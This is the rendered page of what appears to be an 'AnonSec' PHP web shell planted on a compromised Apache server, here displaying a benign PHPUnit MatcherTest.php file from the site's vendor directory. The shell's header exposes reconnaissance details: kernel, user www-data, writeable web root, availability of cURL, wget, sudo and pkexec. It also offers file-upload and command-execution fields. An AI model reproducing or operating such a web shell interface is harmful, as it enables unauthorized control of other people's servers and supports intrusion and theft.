NICH
Server IP : 127.0.1.1  /  Your IP : 216.73.216.152
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux bahcrestlinepropertiesllc 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/bahcrestline/core/vendor/phpunit/phpunit/tests/unit/Framework/MockObject/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/bahcrestline/core/vendor/phpunit/phpunit/tests/unit/Framework/MockObject/MatcherTest.php
<?php declare(strict_types=1);
/*
 * This file is part of PHPUnit.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace PHPUnit\Framework\MockObject;

use PHPUnit\Framework\ExpectationFailedException;
use PHPUnit\Framework\MockObject\Rule\InvocationOrder;
use PHPUnit\Framework\MockObject\Rule\MethodName;
use PHPUnit\Framework\MockObject\Rule\ParametersRule;
use PHPUnit\Framework\TestCase;

/**
 * @covers \PHPUnit\Framework\MockObject\Matcher
 */
class MatcherTest extends TestCase
{
    public function testParameterRuleIsAppliedToInvocation(): void
    {
        $invocationMatcher = $this->createStub(InvocationOrder::class);
        $invocation        = new Invocation('Foo', 'bar', [], 'void', new \stdClass);

        $parameterRule = $this->createMock(ParametersRule::class);
        $parameterRule->expects($this->once())
            ->method('apply')
            ->with($invocation);

        $matcher = new Matcher($invocationMatcher);
        $matcher->setMethodNameRule(new MethodName('bar'));
        $matcher->setParametersRule($parameterRule);

        $matcher->invoked($invocation);
    }

    public function testParametersRuleTriggersFailOfInvocation(): void
    {
        $invocationMatcher = $this->createStub(InvocationOrder::class);
        $invocation        = new Invocation('Foo', 'bar', [], 'void', new \stdClass);

        $parameterRule = $this->createStub(ParametersRule::class);
        $parameterRule->method('apply')
            ->willThrowException(new ExpectationFailedException('rule is always violated.'));

        $matcher = new Matcher($invocationMatcher);
        $matcher->setMethodNameRule(new MethodName('bar'));
        $matcher->setParametersRule($parameterRule);

        $this->expectException(ExpectationFailedException::class);
        $this->expectExceptionMessage("Expectation failed for method name is \"bar\" when \nrule is always violated.");
        $matcher->invoked($invocation);
    }

    public function testParameterRuleDoesNotInfluenceMatches(): void
    {
        $invocationMatcher = $this->createStub(InvocationOrder::class);
        $invocationMatcher->method('matches')
            ->willReturn(true);
        $invocation = new Invocation('Foo', 'bar', [], 'void', new \stdClass);
        $matcher    = new Matcher($invocationMatcher);
        $matcher->setMethodNameRule(new MethodName('bar'));

        $parameterRule = $this->createStub(ParametersRule::class);
        $parameterRule->method('apply')
            ->willThrowException(new \Exception('This method should not have been called.'));
        $matcher->setParametersRule($parameterRule);

        $this->assertTrue($matcher->matches($invocation));
    }

    public function testStubIsNotInvokedIfParametersRuleIsViolated(): void
    {
        $invocationMatcher = $this->createStub(InvocationOrder::class);
        $invocation        = new Invocation('Foo', 'bar', [], 'void', new \stdClass);

        $stub = $this->createMock(Stub\Stub::class);
        $stub->expects($this->never())
            ->method('invoke');

        $parameterRule = $this->createStub(ParametersRule::class);
        $parameterRule->method('apply')
            ->willThrowException(new ExpectationFailedException('rule is always violated.'));

        $matcher = new Matcher($invocationMatcher);
        $matcher->setMethodNameRule(new MethodName('bar'));
        $matcher->setParametersRule($parameterRule);
        $matcher->setStub($stub);

        try {
            $matcher->invoked($invocation);
        } catch (ExpectationFailedException $e) {
        }
    }

    public function testStubIsInvokedIfAllMatchersAndRulesApply(): void
    {
        $invocationMatcher = $this->createStub(InvocationOrder::class);
        $invocation        = new Invocation('Foo', 'bar', [], 'void', new \stdClass);

        $stub = $this->createMock(Stub\Stub::class);
        $stub->expects($this->once())
            ->method('invoke')
            ->with($invocation);

        $parameterRule = $this->createStub(ParametersRule::class);

        $matcher = new Matcher($invocationMatcher);
        $matcher->setMethodNameRule(new MethodName('bar'));
        $matcher->setParametersRule($parameterRule);
        $matcher->setStub($stub);

        $matcher->invoked($invocation);
    }
}

Anon7 - 2022
AnonSec Team